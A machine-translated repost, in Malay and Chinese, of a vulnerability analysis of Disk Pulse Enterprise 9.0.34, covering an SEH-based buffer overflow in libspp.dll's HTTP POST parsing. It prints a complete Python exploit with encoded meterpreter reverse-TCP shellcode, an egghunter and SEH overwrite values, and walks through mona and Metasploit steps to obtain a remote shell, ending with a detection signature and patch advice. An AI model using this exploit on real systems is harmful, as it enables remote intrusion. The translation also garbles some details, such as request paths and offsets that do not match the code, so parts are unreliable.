Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Bagaimana untuk melaksanakan analisis kelemahan aplikasi Disk Pulse Enterprise Window

Bagaimana untuk melaksanakan analisis kelemahan aplikasi Disk Pulse Enterprise Window

WBOY
WBOYke hadapan
2023-05-18 15:04:071081semak imbas

1. Pengenalan Kerentanan

Disk Pulse Enenterprise ialah perisian yang memantau perubahan cakera. Ia boleh menyambung dan mengurus perisian melalui port pengurusan 9120 atau tetingkap pengurusan web 80 untuk memantau perubahan cakera. Terdapat perpustakaan pautan dinamik libspp.dll dalam Disk Pulse Enterprise, yang mengandungi beberapa fungsi yang bertanggungjawab untuk operasi HTTP Masalah berlaku dalam perpustakaan pautan dinamik ini Apabila memproses data pos, kerana tiada kawalan panjang yang ketat pada data pos. Ini membawa kepada limpahan penimbal yang disebabkan oleh menyalin data ke memori tidak sah apabila melaksanakan data yang diperoleh, mencetuskan pemprosesan tingkah laku abnormal SEH dan akhirnya mengawal EIP untuk melaksanakan kod arbitrari.

Pautan muat turun perisian: https://[www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe](http://www.exploit.com /a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe)

Alamat pendedahan kerentanan: https://[www.exploit-db.com/exploits/40452.com/exploits/40452](http://wwwbexploits.com /40452)

2. Persekitaran eksperimen

windows 7 x86: Persekitaran sistem

IDA pro: Alat analisis statik

Kebal Penyahpepijat: Penyahpepijat berdedikasi untuk analisis kerentanan

WinDbg: Penyahpepijat Kerentanan

3. Analisis kerentanan

Mari kita lihat secara ringkas POC, yang lebih komprehensif satu kelemahan limpahan Penampan. Pengendali pengecualian berstruktur SEH dan teknologi pemburu telur dibincangkan dalam artikel ini.

Gambaran Keseluruhan SEH

Mereka yang biasa dengan pengaturcaraan mungkin biasa dengan Pengendalian Pengecualian Berstruktur (SEH), mekanisme penetingkap untuk mengendalikan pengecualian perkakasan dan perisian. Ia biasanya dinyatakan sebagai blok cuba/tangkap jumlah cuba/bahagi.

Gambaran Keseluruhan Egghunter

Ringkasnya, ia ialah teknik pengalamatan yang melaksanakan kod shell dengan mereka bentuk penanda dan melompat ke lokasi penanda lain. Teknik egghunter diperlukan apabila shellcode tidak boleh disimpan dalam buffer.

Pertama, mari analisa POC

#!/usr/bin/python
import socket
import sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.46.160',80))

#msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.46.171 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest
buf =  ""
buf += "\xdb\xdf\xd9\x74\x24\xf4\xba\x92\xa7\xae\xd7\x5b\x29"
buf += "\xc9\xb1\x56\x31\x53\x18\x83\xc3\x04\x03\x53\x86\x45"
buf += "\x5b\x2b\x4e\x0b\xa4\xd4\x8e\x6c\x2c\x31\xbf\xac\x4a"
buf += "\x31\xef\x1c\x18\x17\x03\xd6\x4c\x8c\x90\x9a\x58\xa3"
buf += "\x11\x10\xbf\x8a\xa2\x09\x83\x8d\x20\x50\xd0\x6d\x19"
buf += "\x9b\x25\x6f\x5e\xc6\xc4\x3d\x37\x8c\x7b\xd2\x3c\xd8"
buf += "\x47\x59\x0e\xcc\xcf\xbe\xc6\xef\xfe\x10\x5d\xb6\x20"
buf += "\x92\xb2\xc2\x68\x8c\xd7\xef\x23\x27\x23\x9b\xb5\xe1"
buf += "\x7a\x64\x19\xcc\xb3\x97\x63\x08\x73\x48\x16\x60\x80"
buf += "\xf5\x21\xb7\xfb\x21\xa7\x2c\x5b\xa1\x1f\x89\x5a\x66"
buf += "\xf9\x5a\x50\xc3\x8d\x05\x74\xd2\x42\x3e\x80\x5f\x65"
buf += "\x91\x01\x1b\x42\x35\x4a\xff\xeb\x6c\x36\xae\x14\x6e"
buf += "\x99\x0f\xb1\xe4\x37\x5b\xc8\xa6\x5f\xa8\xe1\x58\x9f"
buf += "\xa6\x72\x2a\xad\x69\x29\xa4\x9d\xe2\xf7\x33\x94\xe5"
buf += "\x07\xeb\x1e\x65\xf6\x0c\x5e\xaf\x3d\x58\x0e\xc7\x94"
buf += "\xe1\xc5\x17\x18\x34\x73\x12\x8e\x77\x2b\x0c\xe5\x10"
buf += "\x29\x51\xe8\xbc\xa4\xb7\x5a\x6d\xe6\x67\x1b\xdd\x46"
buf += "\xd8\xf3\x37\x49\x07\xe3\x37\x80\x20\x8e\xd7\x7c\x18"
buf += "\x27\x41\x25\xd2\xd6\x8e\xf0\x9e\xd9\x05\xf0\x5f\x97"
buf += "\xed\x71\x4c\xc0\x89\x79\x8c\x11\x3c\x79\xe6\x15\x96"
buf += "\x2e\x9e\x17\xcf\x18\x01\xe7\x3a\x1b\x46\x17\xbb\x2d"
buf += "\x3c\x2e\x29\x11\x2a\x4f\xbd\x91\xaa\x19\xd7\x91\xc2"
buf += "\xfd\x83\xc2\xf7\x01\x1e\x77\xa4\x97\xa1\x21\x18\x3f"
buf += "\xca\xcf\x47\x77\x55\x30\xa2\x0b\x92\xce\x30\x24\x3b"
buf += "\xa6\xca\x74\xbb\x36\xa1\x74\xeb\x5e\x3e\x5a\x04\xae"
buf += "\xbf\x71\x4d\xa6\x4a\x14\x3f\x57\x4a\x3d\xe1\xc9\x4b"
buf += "\xb2\x3a\xfa\x36\xbb\xbd\xfb\xc6\xd5\xd9\xfc\xc6\xd9"
buf += "\xdf\xc1\x10\xe0\x95\x04\xa1\x57\xa5\x33\x84\xfe\x2c"
buf += "\x3b\x9a\x01\x65"

#pop pop ret 1001A333

nseh = "\xEB\x0B\x90\x90"
seh = "\x33\xA3\x01\x10"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

evil =  "POST /admin  HTTP/1.1\r\n"
evil += "Host: 192.168.46.160\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 21000\r\n\r\n"
evil += "\x41" * 12292 #subtract/add for payload
evil += "w00tw00t"
evil += "\x90" * 20
evil += buf
evil += "\x90" * 50
evil += "\x42" * 1554
evil += nseh
evil += seh
evil += "\x90" * 20
evil += egghunter
evil += "\x90" * 7000

print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()

Penyerang membina pakej permintaan http Ia boleh dilihat bahawa permintaan siaran, urlnya ialah /log masuk, panjang kandungan: 17000. 12292 "x41" bait telah dihantar, kemudian "w00tw00t" 8 bait telah dihantar, selepas itu 20 "X90" NOP bait telah dihantar, selepas itu buf dihantar, ditambah 50 NOP, 1614 "X42", Seterusnya ialah mekanisme pengendalian pengecualian bagi SEH (pelajar yang tidak tahu banyak boleh mengetahui lebih lanjut mengenainya), dan kemudian kod pelaksanaan egghunter, yang secara kasarnya bermaksud melompat ke tempat yang mengandungi dua "w00t" untuk pelaksanaan. Yang tinggal hanyalah mengisi penimbal.

Seterusnya kami menggunakan Wen DBG untuk membuka versi aplikasi yang terdedah.

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

Hantar muatan untuk mencetuskan kelemahan. Masukkan g, alamat pemulangan ditimpa dan kb melihat timbunan panggilan.

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

Di sini fungsi GetNextString SCA_HttpParser libspp.dll dipanggil Seterusnya, atur cara memasuki pemprosesan tingkah laku abnormal SHE dan menimpa Pengendali SEH untuk melaksanakan kod.

Buka IDA dan analisa titik 10092822. Kelas SCA_HttpParse dalam libspp bertanggungjawab untuk memproses beberapa operasi berkaitan HTTP. Terdapat fungsi bernama ExtractPostData yang bertanggungjawab untuk memproses data pasca Letakkan titik putus di pintu masuk daripada fungsi ini. Alamat kemasukan fungsi ini ialah 10092510

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

Penimbal penghantaran menggunakan POC pengganti, mencetuskan kelemahan, seperti yang ditunjukkan dalam rajah di bawah:

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

Semak situasi pemindahan parameter Kemudian data dihantar sebagai parameter kedua Ambil perhatian bahawa ia dihantar sepenuhnya. 如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

Teruskan penjejakan satu langkah di sini dan capai fungsi GetNetString yang dinyatakan sebelum ini.

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

Fungsi ini akan melakukan satu perkara, iaitu untuk memisahkan parameter pertama, iaitu data kemudian, dan memisahkan setiap bahagian untuk pemprosesan seterusnya, langkah demi langkah Walau bagaimanapun, anda dapat melihat bahawa selepas memasukkan GetNextString buat kali pertama, data pertama dipecahkan.

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

Nama pengguna dipisahkan buat kali pertama Seterusnya, masukkan GetNextString sekali lagi untuk mula membelah rentetan kedua ini akan melakukan satu siri operasi penyalinan.

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

这个LOC块负责拷贝,其中10092822地址就是触发漏洞的关键位置,ESI是待拷贝的缓冲区首地址,EDX是拷贝长度,CL是拷贝内容,这里是一个字一个字拷贝的。

因此,当超过开辟缓冲区大小的时候,就会引发向无效地址拷贝的问题。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

看一下EDX + ESI的值,可以看到,后面已经超过了开辟缓冲区的大小,后面就是无效缓冲区了。

之后看一下ECX的值

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析CL就是将ECX的低地址一个字节一个字节拷贝,这里由于向无效地址拷贝,引发SEH异常处理,最后达到代码执行,来看一下伪代码。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析再来看一下GetNextString函数的伪代码。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

四、漏洞利用

首先发送poc,触发漏洞,使用免疫调试器,查看她链,被成功覆盖。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

我们需要找到SHE的偏移量。

利用蒙娜丽莎命令生成20000个字符

!mona pattern_create 20000

运行完在C:\日志\ FTPServer的\ pattern.txt中找到。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

重启程序,将其加入到脚本中的BUF中运行

使用蒙娜丽莎命令来寻找SEH偏移量

!mona findmsp

查看蒙娜丽莎的控制台输出,找到它的描述SHE偏移量的部分。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

偏移量是14292。

接下来,要寻找pop pop ret的地址

使用!mona seh

打开seh.txt日志查找指向POP POP RET序列的代码块地址。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

设置的shellcode里面的

nseh =“\ xEB \ x0B \ x90 \ x90”seh =“\ x33 \ xA3 \ x01 \ x10”

利用msf生成通用的shellcode,命令如下

msfvenom -a x86 --platform Windows -pwindows / meterpreter / reverse_tcp LHOST = 192.168.46.171 LPORT = 4444 -ex86 / shikata_ga_nai -b'\ x00 \ x0a \ x0d \ x26'-f python -smallest

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

在POC中写入的shellcode,再写入过程中,要根据BUF的长度,修改后面偏移量的值。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

重启程序,打开的Metasploit

选择开发模式

输入命令,设置参数

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析发送poc,触发漏洞,查看metasploit反应,输入shell,可以连到到存在漏洞主机的shell。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

五、漏洞利用特征:

请求方式:POST

请求路径:/登录

漏洞特征:POST +任意路径+内容长度:> 14292+ | eb | +任意字节+ | 90 90 |

六、防御建议

升级应用程序,对应用程序打补丁或者下载新版本的应用程序,或者装载杀毒软件。

下载地址:https://www.diskpulse.com/downloads.html

Atas ialah kandungan terperinci Bagaimana untuk melaksanakan analisis kelemahan aplikasi Disk Pulse Enterprise Window. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam